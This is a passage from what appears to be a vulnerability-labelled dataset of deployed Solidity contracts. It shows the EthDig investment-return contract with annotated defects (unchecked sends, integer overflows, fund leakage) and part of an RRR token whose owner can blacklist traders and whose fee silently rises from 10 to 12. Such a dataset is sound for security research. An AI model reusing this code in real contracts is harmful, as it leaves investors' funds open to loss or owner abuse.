[{"constant":true,"inputs":[{"name":"nDay","type":"uint256"}],"name":"getDayRestDepositLimit","outputs":[{"name":"restLimit","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"confirmLaxmi","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_laxmi","type":"address"}],"name":"changeLaxmi","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getCurrentDayDepositLimit","outputs":[{"name":"limit","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isUnlimitedDayInvest","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"bonusReferrer","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxDepositDays","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"procReturn","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"countInvestors","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getCurrentDay","outputs":[{"name":"nday","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxDepositProgressProc","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"progressProcKoef","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"preparePayment","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"laxmi","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"unlimitedInvest","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalInvest","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximalDepositStart","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getUser","outputs":[{"name":"balance","type":"uint256"},{"name":"timestamp","type":"uint256"},{"name":"paidInteres","type":"uint256"},{"name":"totalInteres","type":"uint256"},{"name":"countReferrals","type":"uint256"},{"name":"countReferralsByLevel","type":"uint256[3]"},{"name":"earnOnReferrals","type":"uint256"},{"name":"paidReferrals","type":"uint256"},{"name":"referrer","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minimalDeposit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"procKoef","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newLaxmi","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getTotals","outputs":[{"name":"_maxDepositDays","type":"uint256"},{"name":"_perDay","type":"uint256"},{"name":"_startTimestamp","type":"uint256"},{"name":"_minimalDeposit","type":"uint256"},{"name":"_maximalDeposit","type":"uint256"},{"name":"_bonusReferrer","type":"uint256[3]"},{"name":"_minimalDepositForBonusReferrer","type":"uint256"},{"name":"_ownerFee","type":"uint256"},{"name":"_countInvestors","type":"uint256"},{"name":"_totalInvest","type":"uint256"},{"name":"_totalPenalty","type":"uint256"},{"name":"_totalPaid","type":"uint256"},{"name":"_currentDayDepositLimit","type":"uint256"},{"name":"_currentDayRestDepositLimit","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getCurrentDayRestDepositLimit","outputs":[{"name":"restLimit","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"nDay","type":"uint256"}],"name":"getDayDepositLimit","outputs":[{"name":"limit","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"totalSelfInvest","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"perDay","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"start","type":"uint256"},{"name":"proc","type":"uint256"},{"name":"nDay","type":"uint256"}],"name":"calcProgress","outputs":[{"name":"res","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"dayLimitStart","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isUnlimitedContractInvest","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minimalDepositForBonusReferrer","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ownerFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"dayLimitProgressProc","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalPenalty","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"startTimestamp","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalPaid","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getCurrentMaximalDeposit","outputs":[{"name":"maximalDeposit","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"nDay","type":"uint256"}],"name":"getMaximalDeposit","outputs":[{"name":"limit","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"maximalDepositFinish","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"date","type":"uint256"}],"name":"getNDay","outputs":[{"name":"nday","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_value","type":"uint256"},{"indexed":false,"name":"_refData","type":"bytes"}],"name":"LogInvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_contactBalance","type":"uint256"}],"name":"LogTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_value","type":"uint256"}],"name":"LogSelfInvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_totalInteres","type":"uint256"},{"indexed":false,"name":"_paidInteres","type":"uint256"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"LogPreparePayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_totalInteres","type":"uint256"},{"indexed":false,"name":"_paidInteres","type":"uint256"}],"name":"LogSkipPreparePayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_totalReferrals","type":"uint256"},{"indexed":false,"name":"_paidReferrals","type":"uint256"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"LogPreparePaymentReferrer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_totalReferrals","type":"uint256"},{"indexed":false,"name":"_paidReferrals","type":"uint256"}],"name":"LogSkipPreparePaymentReferrer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_levels","type":"uint256[3]"}],"name":"LogNewReferralAtLevel","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_money","type":"uint256"},{"indexed":false,"name":"_totalPenalty","type":"uint256"}],"name":"LogMinimalDepositPayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"currentSenderDeposit","type":"uint256"},{"indexed":false,"name":"referrerAdressLength","type":"uint256"},{"indexed":false,"name":"_referrer","type":"address"},{"indexed":false,"name":"currentReferrerDeposit","type":"uint256"},{"indexed":false,"name":"_money","type":"uint256"},{"indexed":false,"name":"_sendBackAmount","type":"uint256"},{"indexed":false,"name":"_totalPenalty","type":"uint256"}],"name":"LogPenaltyPayment","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_referrer","type":"address"},{"indexed":false,"name":"_money","type":"uint256"},{"indexed":false,"name":"_nDay","type":"uint256"},{"indexed":false,"name":"_restDepositPerDay","type":"uint256"},{"indexed":false,"name":"_badDeposit","type":"uint256"},{"indexed":false,"name":"_sendBackAmount","type":"uint256"},{"indexed":false,"name":"_totalPenalty","type":"uint256"},{"indexed":false,"name":"_willDeposit","type":"uint256"}],"name":"LogExceededRestDepositPerDay","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_addr","type":"address"},{"indexed":false,"name":"_referrer","type":"address"},{"indexed":false,"name":"_money","type":"uint256"},{"indexed":false,"name":"_nDay","type":"uint256"},{"indexed":false,"name":"_restDepositPerDay","type":"uint256"},{"indexed":false,"name":"_realDeposit","type":"uint256"},{"indexed":false,"name":"_usedDepositPerDay","type":"uint256"}],"name":"LogUsedRestDepositPerDay","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_referrer","type":"address"},{"indexed":false,"name":"_money","type":"uint256"},{"indexed":false,"name":"_index","type":"uint256"},{"indexed":false,"name":"_bonusReferrer","type":"uint256"},{"indexed":false,"name":"_amountReferrer","type":"uint256"},{"indexed":false,"name":"_nextReferrer","type":"address"}],"name":"LogCalcBonusReferrer","type":"event"}] | v0.4.25+commit.59dbf8f1 | false | 200 | Default | false | bzzr://8569d1f964aac5ba7db89f7a1f7655957feb950d974f27dbb2e08e2085bbf7b9 |
||||
EthDigProxy | 0x25db0f59bf166c49d1f859c9cb5928cbbf685981 | Solidity | contract EthDig
{
uint constant LifeTime = 30;
address Owner = msg.sender;
address OutputAddress = msg.sender;
uint64 Coef1=723;
uint64 Coef2=41665;
uint64 Coef3=600000;
uint public ContributedAmount;
uint ContributedLimit = 10 ether;
uint public CashForHardwareReturn;
uint public FreezedCash;
uint16 UsersLength = 0;
mapping (uint16 => User) Users;
struct User{
address Address;
uint16 ContributionsLength;
mapping (uint16 => Contribution) Contributions;
}
struct Contribution{
uint CashInHarware;
uint CashFreezed;
uint16 ProfitPercent;
uint NeedPayByDay;
bool ReuseCashInHarware;
uint DateCreated;
uint DateLastCheck;
uint AlreadyPaid;
bool ReturnedHardwareCash;
bool Finished;
}
function ContributeInternal(uint16 userId,uint cashInHarware,uint cashFreezed,bool reuseCashInHarware) private{
Contribution contribution = Users[userId].Contributions[Users[userId].ContributionsLength];
contribution.CashInHarware = cashInHarware;
contribution.CashFreezed = cashFreezed;
uint8 noFreezCoef = uint8 ((cashInHarware * 100) / (cashFreezed+cashInHarware));
contribution.ProfitPercent = uint16 (((Coef1 * noFreezCoef * noFreezCoef) + (Coef2 * noFreezCoef) + Coef3)/10000);//10000
contribution.NeedPayByDay = (((cashInHarware + cashFreezed) /10000) * contribution.ProfitPercent)/LifeTime;
contribution.ReuseCashInHarware = reuseCashInHarware;
contribution.DateCreated = now;
contribution.DateLastCheck = now;
Users[userId].ContributionsLength++;
}
function ContributeWithSender (bool reuseCashInHarware,uint8 freezeCoeff,address sender) {
if (msg.value == 0 || freezeCoeff>100 ||ContributedAmount + msg.value > ContributedLimit)
{
sender.send(msg.value);
return;
}
uint16 userId = GetUserIdByAddress(sender);
if (userId == 65535)
{
userId = UsersLength;
Users[userId].Address = sender;
UsersLength ++;
}
uint cashFreezed = ((msg.value/100)*freezeCoeff);
ContributeInternal(
userId,
msg.value - cashFreezed,
cashFreezed,
reuseCashInHarware
);
FreezedCash += cashFreezed;
ContributedAmount += msg.value;
OutputAddress.send(msg.value - cashFreezed);
}
function Contribute (bool reuseCashInHarware,uint8 freezeCoeff) {
ContributeWithSender(reuseCashInHarware,freezeCoeff,msg.sender);
}
function ChangeReuseCashInHarware(bool newValue,uint16 userId,uint16 contributionId){
if (msg.sender != Users[userId].Address) return;
Users[userId].Contributions[contributionId].ReuseCashInHarware = newValue;
}
function Triger(){
if (Owner != msg.sender) return;
uint MinedTillLastPayment = this.balance - CashForHardwareReturn - FreezedCash;
bool NotEnoughCash = false;
for(uint16 i=0;i<UsersLength;i++)
{
for(uint16 j=0;j<Users[i].ContributionsLength;j++)
{
Contribution contribution = Users[i].Contributions[j];
if (contribution.Finished || now - contribution.DateLastCheck < 1 days) continue;
if (contribution.AlreadyPaid != contribution.NeedPayByDay * LifeTime)
{
uint8 daysToPay = uint8((now - contribution.DateCreated)/1 days);
if (daysToPay>LifeTime) daysToPay = uint8(LifeTime);
uint needToPay = (daysToPay * contribution.NeedPayByDay) - contribution.AlreadyPaid;
if (MinedTillLastPayment < needToPay)
{
NotEnoughCash = true;
}
else
{
if (needToPay > 100 finney || daysToPay == LifeTime)
{
MinedTillLastPayment -= needToPay;
Users[i].Address.send(needToPay);
contribution.AlreadyPaid += needToPay;
}
}
contribution.DateLastCheck = now;
}
if (now > contribution.DateCreated + (LifeTime * 1 days) && !contribution.ReturnedHardwareCash)
{
if (contribution.ReuseCashInHarware)
{
ContributeInternal(
i,
contribution.CashInHarware,
contribution.CashFreezed,
true
);
contribution.ReturnedHardwareCash = true;
}
else
{
if (CashForHardwareReturn >= contribution.CashInHarware)
{
CashForHardwareReturn -= contribution.CashInHarware;
FreezedCash -= contribution.CashFreezed;
ContributedAmount -= contribution.CashFreezed + contribution.CashInHarware;
Users[i].Address.send(contribution.CashInHarware + contribution.CashFreezed);
contribution.ReturnedHardwareCash = true;
}
}
}
if (contribution.ReturnedHardwareCash && contribution.AlreadyPaid == contribution.NeedPayByDay * LifeTime)
{
contribution.Finished = true;
}
}
}
if (!NotEnoughCash)
{
OutputAddress.send(MinedTillLastPayment);
}
}
function ConfigureFunction(address outputAddress,uint contributedLimit,uint16 coef1,uint16 coef2,uint16 coef3)
{
if (Owner != msg.sender) return;
OutputAddress = outputAddress;
ContributedLimit = contributedLimit;
Coef1 = coef1;
Coef2 = coef2;
Coef3 = coef3;
}
function SendCashForHardwareReturn(){
CashForHardwareReturn += msg.value;
}
function WithdrawCashForHardwareReturn(uint amount){
if (Owner != msg.sender || CashForHardwareReturn < amount) return;
Owner.send(amount);
}
function GetUserIdByAddress (address userAddress) returns (uint16){
for(uint16 i=0; i<UsersLength;i++)
{
if (Users[i].Address == userAddress)
return i;
}
return 65535;
}
function GetContributionInfo (uint16 userId,uint16 contributionId)
returns (uint a1,uint a2, uint16 a3,uint a4, bool a5,uint a6,uint a7,uint a8,bool a9,bool a10,address a11)
{
Contribution contribution = Users[userId].Contributions[contributionId];
a1 = contribution.CashInHarware;
a2 = contribution.CashFreezed;
a3 = contribution.ProfitPercent;
a4 = contribution.NeedPayByDay;
a5 = contribution.ReuseCashInHarware;
a6 = contribution.DateCreated;
a7 = contribution.DateLastCheck;
a8 = contribution.AlreadyPaid;
a9 = contribution.ReturnedHardwareCash;
a10 = contribution.Finished;
a11 = Users[userId].Address;
}
}
contract EthDigProxy
{
address Owner = msg.sender;
EthDig public ActiveDigger;
function ChangeActiveDigger(address activeDiggerAddress){
if (msg.sender != Owner) return;
ActiveDigger =EthDig(activeDiggerAddress);
}
function GetMoney(){
if (msg.sender != Owner) return;
Owner.send(this.balance);
}
function Contribute (bool reuseCashInHarware,uint8 freezeCoeff) {
ActiveDigger.ContributeWithSender.value(msg.value)(reuseCashInHarware,freezeCoeff,msg.sender);
}
function (){
ActiveDigger.ContributeWithSender.value(msg.value)(false,0,msg.sender);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["223", "181", "83"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["43", "196"]}, {"defect": "Unchecked_send", "type": "Function_call", "severity": "High", "lines": ["223", "162", "181", "83", "61"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["212", "1"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["226", "85", "229", "179", "58", "221"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["81", "80", "120", "144", "145", "146", "177", "59", "104", "128", "106", "153", "73", "96", "110", "108", "48"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["128", "104", "109", "118"]}] | null | null | null | [{"constant":false,"inputs":[],"name":"GetMoney","outputs":[],"type":"function"},{"constant":false,"inputs":[{"name":"reuseCashInHarware","type":"bool"},{"name":"freezeCoeff","type":"uint8"}],"name":"Contribute","outputs":[],"type":"function"},{"constant":true,"inputs":[],"name":"ActiveDigger","outputs":[{"name":"","type":"address"}],"type":"function"},{"constant":false,"inputs":[{"name":"activeDiggerAddress","type":"address"}],"name":"ChangeActiveDigger","outputs":[],"type":"function"}] | v0.3.2-2016-04-22-dd4300d | true | 200 | Default | false | |||||
RRR | 0x23e2a14e6df1c48998466c594a842673c2cfd7e1 | Solidity | // SPDX-License-Identifier: Unlicensed
// https://t.me/RapidlyReusableRocketsETH
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RRR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rapidly Reusable Rockets";
string private constant _symbol = "RRR\xF0\x9F\x9A\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
